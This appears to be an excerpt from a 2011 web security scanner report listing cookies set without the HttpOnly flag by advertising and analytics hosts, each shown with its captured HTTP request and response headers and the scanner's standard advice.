GET /v1/cms?esig=1~6451b4a684f76cdc256978b3b9011cd5f8ab2361&nwid=10000358902&sigv=1 HTTP/1.1 Host: cms.ad.yieldmanager.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/cacheable/ad.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BX=80eipqp6i4psl&b=4&s=nj&t=25
Response
HTTP/1.1 302 Found Date: Tue, 01 Feb 2011 15:24:18 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: S=s=8lk0vnt6kg9d2&t=1296573858;path=/; expires= Location: http://admonkey.dapper.net/RMXCookieMonster?xid=BLdOXcUmXhXH.SCUot6GMxox Cache-Control: private Connection: close Content-Type: text/plain; charset=utf-8 Content-Length: 790
HTTP/1.1 302 Found Date: Tue, 01 Feb 2011 15:24:18 GMT P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PU ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /apis/maps/terms.html HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/wiki/documentation HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clinical-study.html HTTP/1.1 Host: consumershealthyliving.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:31:19 GMT Server: Apache X-Powered-By: PHP/5.2.16 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: af0de5e19d0aeec9236a3a01ce912df8=7bv015kl0m1jt0vltq8jl1b426; path=/ Last-Modified: Tue, 01 Feb 2011 15:31:20 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25514
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
v1stsp=E67B5206FBADB2C7; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.atomz.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /static/scode/H.15.1/snpall/s_code.js HTTP/1.1 Host: content.atomz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 19:18:49 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=E67B5206FBADB2C7; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.atomz.com Cache-Control: max-age=315360000 Expires: Sat, 30 Jan 2021 19:18:49 GMT Last-Modified: Sun, 07 Sep 2008 17:06:26 GMT ETag: "610a04-47de-48c40a12" Accept-Ranges: bytes Content-Length: 18398 Content-Type: application/x-javascript Via: 1.1 content.atomz.com:84 X-Cache: MISS from content.atomz.com Connection: close
/* SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */ /************************ ADDITIONAL FEATURES ************************ P ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /v2/cexposer/SIG=13r09h5ct/*http:/ad.yieldmanager.com/imp HTTP/1.1 Host: cookex.amp.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:18:49 GMT Set-Cookie: B=4dl1ead6kjbgp&b=3&s=ii; expires=Tue, 02-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Vary: Accept-Encoding Connection: close Content-Type: text/plain; charset=utf-8 Cache-Control: private Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /orbserv/hbpix?pixId=1598&pcv=45&ptid=100&tpv=00&tpu=4d1ec56b7612a62c&curl=http%3a%2f%2fwww.ehow.com%2fcomputer-software%2f HTTP/1.1 Host: cspix.media6degrees.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ipinfo=2lf8gij0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt1181qqxzt11kzqpxzt11kzqpxzt1181qq; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv1kzqp00t0v01060110s; orblb=2lfk1rn012dh10u0100000; rdrlst=2100so2ylebnns0000000t0v01060110s7dpletz4d0000000p0v01060110p10flfk1rn0000000e0v01060110emmnlebnns0000000t0v01060110s10elfk1rn0000000e0v01060110e10rlfwneh000000010v010601101x1blebnns0000000t0v01060110sxo1lebnns0000000t0v01060110seh5lf17qf0000000l0v01060110l6bylemlne0000000r0v01060110rw3clebnns0000000t0v01060110s7gmlebnns0000000t0v01060110sjv6lebnns0000000t0v01060110sj4ilew2e20000000n0v01060110nxthlebnns0000000t0v01060110sfullf8gij0000000h0v01060110h0c9lfk1rn0000000e0v01060110ejillebnns0000000t0v01060110sfuqlegh2b0000000s0v01060110sb6mlf17qk0000000k0v01060110kmz1lebnns0000000t0v01060110scajlfk1rn0000000e0v01060110ep7vlebnns0000000t0v01060110s7vglfk1rn0000000e0v01060110exvslebnns0000000t0v01060110s10rlfjpei0000000f0v01060110fxuklebnns0000000t0v01060110sjk7lebnns0000000t0v01060110sx1jlebnns0000000t0v01060110syiplebnns0000000t0v01060110scbnlfk1rn0000000e0v01060110exwflebnns0000000t0v01060110syh0lebnns0000000t0v01060110se4vlebnns0000000t0v01060110sxwblebnns0000000t0v01060110sjwblfk1rn0000000e0v01060110e; sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000j0v01060110j82gletz4d0pqa500a0l000400100ag2leqh19166d800q0v01060110q82hlebnns181qq00t0v01060110s9zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0000000f0v01060110f820lebnns181qq00e0l000400100b0olfjpei0000000f0v01060110fab4lebnns181qq00t0v01060110s9szlebnns181qq00t0v01060110s8wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1g6c600s0v01060110sal1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0000000f0v01060110f8bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns181qq00e0l000400100b08lfjpei0000000f0v01060110f40slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000g0v01060110g40uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; vstcnt=3lebnns020r024nssk122m1boph1c4wn1bw2l1bw321bw2o1bw501bw3n1bw4o1bw3c1bw301bw5f1bw4e1bw381bw3l1bw2m1bw2c1bw351bw481bw2v1bw4h1bw4x1bw4b1bw361bw3z1bw4f1bw4w1bw4g1bw331bw431bw2q1bw4z1bw2b1bw441bw2r1bw5e1bw3f1bw521bw3p1bw5a1bw311bw4r1bw5d1bw5j1bw421bw2p1bw3x1bw5g1bw2i1bw4a1bw3b1bw531bw4p1bw3q1bw541bw3r1bw4q1bw4j1bw461bw2t1bw3m1bw4y1bw4s1bw2z1bw4c1bw2k1bw3v1bw4i1bw4t1bw3a1bw451bw2s1bw2j1bw4n1bw3e1bw591bw3w1bw401bw2n1bw3u1bw341bw4u1bw3k1bw491bw2w1bw5b1bw561bw3t1bw511bw551bw3s1bw471bw2u1bw5i1bw4l3ik5120o0keqa0pk2n0kh4a0kh3u0kh490kh3s0kh3t0kh3m0kh3a0kh3y0kh3j0kh3h0kh390kh3x0kh3v0kh4b0kh3d0kh3f0kh3r0kh3l0kh430kh3g0kh3p0kh3z1l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122s000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl0d1qe0d1q50d1rc0d1q20d1so0d1t00d1ro0d1su0d1sd0d1qa0d1tb0d1qv0d1s10d1qo0d1r00d1s40d1qi0d1t80d1tf0d1st0d1py0d1rh0d1rd0d1sz0d1qm0d1q40d1q10d1r80d1pv0d1rk0d1s20d1sk0d1tc0d1rj0d1qb0d1pm0d1r20d1sc0d1rl0d1qg0d1ta0d1rt0d1t50d1rs0d1r30d1pq0d1si0d1t70d1sj0d1ru00000000000000000000000004esx7120104tej
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dcs4mzzicc2ep3maahjx8kl5c_7e2i/dcs.gif?&dcsdat=1296573790778&dcssip=www.orbitz.com&dcsuri=/&page=/&WT.tz=-6&WT.bh=9&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=Orbitz%20Travel:%20Airline%20Tickets,%20Cheap%20Hotels,%20Car%20Rentals,%20Vacations%20%26%20Cruises&WT.js=Yes&WT.jv=1.5&WT.bs=1036x1012&WT.fi=Yes&WT.fv=10.1&WT.dl=0&WT.sv=egapp30p&WT.wtsv=1&WT.co_f=173.193.214.243-3953790720.30125555&WT.vt_f_tlh=1296342267&WT.vt_f_tlv=1296342267&WT.vt_f_s=1&WT.vt_f_d=1&WT.vt_sid=173.193.214.243-3953790720.30125555.1296573790782&hostname=www.orbitz.com&tab=QS&strf=7&b=A&wsid=265DA875C314B0C54855FC80AB1B1D8C&dsrc=7&pos=ORBC&ASimp=1&wtEvtSrc=www.orbitz.com/ HTTP/1.1 Host: ctix8.cheaptickets.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0zOTUzNzkwNzIwLjMwMTI1NTU1AAAAAAACAAAAPXQAAA0jQk2xH0JNKbsAAAGdRE0BnURNAQAAABQuAAABnURNAZ1ETQAAAAA-
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0zOTUzNzkwNzIwLjMwMTI1NTU1AAAAAAACAAAAPXQAADMlSE0zJUhNKbsAAAGdRE0BnURNAQAAABQuAAAzJUhNMyVITQAAAAA-; path=/; expires=Fri, 29-Jan-2021 15:22:27 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Pragma: no-cache Expires: -1 Cache-Control: no-cache Content-type: image/gif Content-Length: 67
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dcsdlg96i00000clc5ljt8xox_8x1x/dcs.gif?&WT.co_f=173.193.214.243-3953790720.30125555&WT.vt_sid=173.193.214.243-3953790720.30125555.1296573790782&WT.Site=www.orbitz.com&WT.tz=-6&WT.bh=9&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=hotel100&WT.js=Yes&WT.jv=1.5&WT.bs=1036x1012&WT.fi=Yes&WT.fv=10.1&WT.dl=20&WT.wtsv=1&WT.vt_f_tlh=1296573845&hostname=www.orbitz.com&pos=ORB&b=A&wtEvtSrc=hotel100&owwPage=/hotels/&LNG=en_US&strf=7&tab=HOT&wsid=D1DA21DD44B66783CD13169E22B74D3D&pJS=325&pHT=365&pDM=369&pAgSt=411&pAgFn=607&pOL=8774&pUA=Mozilla/5.0%20(Windows;%20U;%20Windows%20NT%206.1;%20en-US)%20AppleWebKit/534.10%20(KHTML,%20like%20Gecko)%20Chrome/8.0.552.237%20Safari/534.10&pJSP=109&dcsdat=1296573845060&dcssip=www.orbitz.com&dcsuri=/hotels/&dcsqry=%3Fz=4fae%26r=1o&dcsref=http://www.orbitz.com/App/PerformMDLPDealsContent HTTP/1.1 Host: ctix8.cheaptickets.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/hotels/?z=4fae&r=1o Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0zOTUzNzkwNzIwLjMwMTI1NTU1AAAAAAACAAAAPXQAAF8lSE0zJUhNKbsAAAGdRE0BnURNAQAAABQuAABfJUhNMyVITQAAAAA-
Response
HTTP/1.1 303 Object Moved Connection: close Date: Tue, 01 Feb 2011 15:23:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: /dcsdlg96i00000clc5ljt8xox_8x1x/dcs.gif?dcsredirect=112&dcstlh=0&dcstlv=0&WT.co_f=173.193.214.243-3953790720.30125555&WT.vt_sid=173.193.214.243-3953790720.30125555.1296573790782&WT.Site=www.orbitz.com&WT.tz=-6&WT.bh=9&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=hotel100&WT.js=Yes&WT.jv=1.5&WT.bs=1036x1012&WT.fi=Yes&WT.fv=10.1&WT.dl=20&WT.wtsv=1&WT.vt_f_tlh=1296573845&hostname=www.orbitz.com&pos=ORB&b=A&wtEvtSrc=hotel100&owwPage=/hotels/&LNG=en_US&strf=7&tab=HOT&wsid=D1DA21DD44B66783CD13169E22B74D3D&pJS=325&pHT=365&pDM=369&pAgSt=411&pAgFn=607&pOL=8774&pUA=Mozilla/5.0%20(Windows;%20U;%20Windows%20NT%206.1;%20en-US)%20AppleWebKit/534.10%20(KHTML,%20like%20Gecko)%20Chrome/8.0.552.237%20Safari/534.10&pJSP=109&dcsdat=1296573845060&dcssip=www.orbitz.com&dcsuri=/hotels/&dcsqry=%3Fz=4fae%26r=1o&dcsref=http://www.orbitz.com/App/PerformMDLPDealsContent Content-Length: 0 Set-Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0zOTUzNzkwNzIwLjMwMTI1NTU1AAAAAAADAAAAPXQAAF8lSE0zJUhNKbsAAAGdRE0BnURN/ucAAGklSE1pJUhNAQAAABQuAABpJUhNMyVITQAAAAA-; path=/; expires=Thu, 10-Dec-2015 10:27:34 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dcsza35es100004br3bqwfzxk_6e6k/dcs.gif?&dcsdat=1296661619087&dcssip=updates.orbitz.com&dcsuri=/&dcsref=http://burp/show/15&WT.tz=-6&WT.bh=9&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=Orbitz%20Traveler%20Update%20-%20Travel%20Alerts,%20Flight%20Status,%20Travel%20News,%20Airport%20Guides,%20Airport%20Delays,%20Weather&WT.js=Yes&WT.jv=1.5&WT.bs=1036x1012&WT.fi=Yes&WT.fv=10.1&WT.dl=0&WT.wtsv=1&WT.co_f=173.193.214.243-3953790720.30125555&WT.vt_f_tlh=1296573936&WT.vt_f_tlv=1296573790&WT.vt_f_s=1&WT.vt_f_d=1&WT.vt_sid=173.193.214.243-3953790720.30125555.1296661619090&hostname=updates.orbitz.com&wtEvtSrc=updates.orbitz.com/ HTTP/1.1 Host: ctix8.cheaptickets.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0zOTUzNzkwNzIwLjMwMTI1NTU1AAAAAAADAAAAPXQAAMYlSE0zJUhNKbsAAAGdRE0BnURN/ucAAJ8lSE1pJUhNAQAAABQuAADGJUhNMyVITQAAAAA-
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:46:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0zOTUzNzkwNzIwLjMwMTI1NTU1AAAAAAADAAAAPXQAAMYlSE0zJUhNKbsAAD98SU0/fElN/ucAAJ8lSE1pJUhNAQAAABQuAAA/fElNP3xJTQAAAAA-; path=/; expires=Sat, 30-Jan-2021 15:46:07 GMT P3P: CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Pragma: no-cache Expires: -1 Cache-Control: no-cache Content-type: image/gif Content-Length: 67
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: deals.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:31:32 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA52 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=3f8fd347c99547099a4814fa8b9e7293; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=1D770C0684124A3E8436F4C065609D19; domain=.msn.com; expires=Sat, 20-Aug-2011 15:31:32 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 34142
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /yui/compressor/ HTTP/1.1 Host: developer.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:18:43 GMT Set-Cookie: B=d39814h6kj0v3&b=3&s=tc; expires=Tue, 02-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 27146
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>YUI Compressor</title>
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=WT1SJ; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /plugins/ HTTP/1.1 Host: developers.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Location: http://developers.facebook.com/docs/plugins P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Set-Cookie: datr=5INJTTrko7Q6nSrVnX5GKofQ; expires=Fri, 01-Feb-2013 16:18:44 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=WT1SJ; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 16:18:44 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Djx2v HTTP/1.1 Host: dlvr.it Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Djx6x HTTP/1.1 Host: dlvr.it Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pixel/10236?data:|pdata:|logdata:st= HTTP/1.1 Host: dm.demdex.net Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:11:20 GMT Server: Apache/2.2.10 (Unix) Set-Cookie: DexLifeCycle=NEW01296659480101778|MTA4MDQ9MTo3NjI=|MA==|MA==|NjU4OTE0ODA=|MA==|MTA4MDQtMA==; path=/; expires=Sat, 30-Jan-21 15:11:20 GMT; domain=.dm.demdex.net Set-Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:20 GMT; domain=.demdex.net Set-Cookie: dm=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:20 GMT; domain=.dm.demdex.net Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Last-Modified: Tue, 12 Oct 2010 21:33:06 GMT ETag: "9dad3-134-4927238efa880" Accept-Ranges: bytes Content-Length: 308 P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Content-Type: image/jpeg
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /demdot.jpg?et:dpm|dpid:22|data:&location=texas&industry=business_services HTTP/1.1 Host: dpm.demdex.net Proxy-Connection: keep-alive Referer: http://fast.dm.demdex.net/dm-dest.html?bizo=1&bizovalidttl=7& Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==; bizo=1
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:11:28 GMT Server: Apache/2.2.10 (Unix) Set-Cookie: DexLifeCycle=NEW01296659488235797|MA==|MA==|MA==|NjU4OTE0ODg=|MA==|MA==; path=/; expires=Sat, 30-Jan-21 15:11:28 GMT; domain=.dpm.demdex.net Set-Cookie: demdex=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:28 GMT; domain=.demdex.net Set-Cookie: dpm=dv2:eLHun3HgfhcbrRmH3JUk3A==; path=/; expires=Sat, 30-Jan-21 15:11:28 GMT; domain=.dpm.demdex.net Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Last-Modified: Tue, 12 Oct 2010 21:33:06 GMT ETag: "7adeb-134-4927238efa880" Accept-Ranges: bytes Content-Length: 308 P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Content-Type: image/jpeg
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /red/psi/p.json HTTP/1.1 Host: ds.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 267 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Tue, 01 Feb 2011 15:32:27 GMT; Path=/ Set-Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; Domain=.addthis.com; Expires=Mon, 02 May 2011 15:32:27 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Thu, 03 Mar 2011 15:32:27 GMT; Path=/ Set-Cookie: di=%7B%7D..1296574347.19F|1296574347.19A; Domain=.addthis.com; Expires=Thu, 31-Jan-2013 10:47:39 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Tue, 01 Feb 2011 15:32:27 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 01 Feb 2011 15:32:27 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
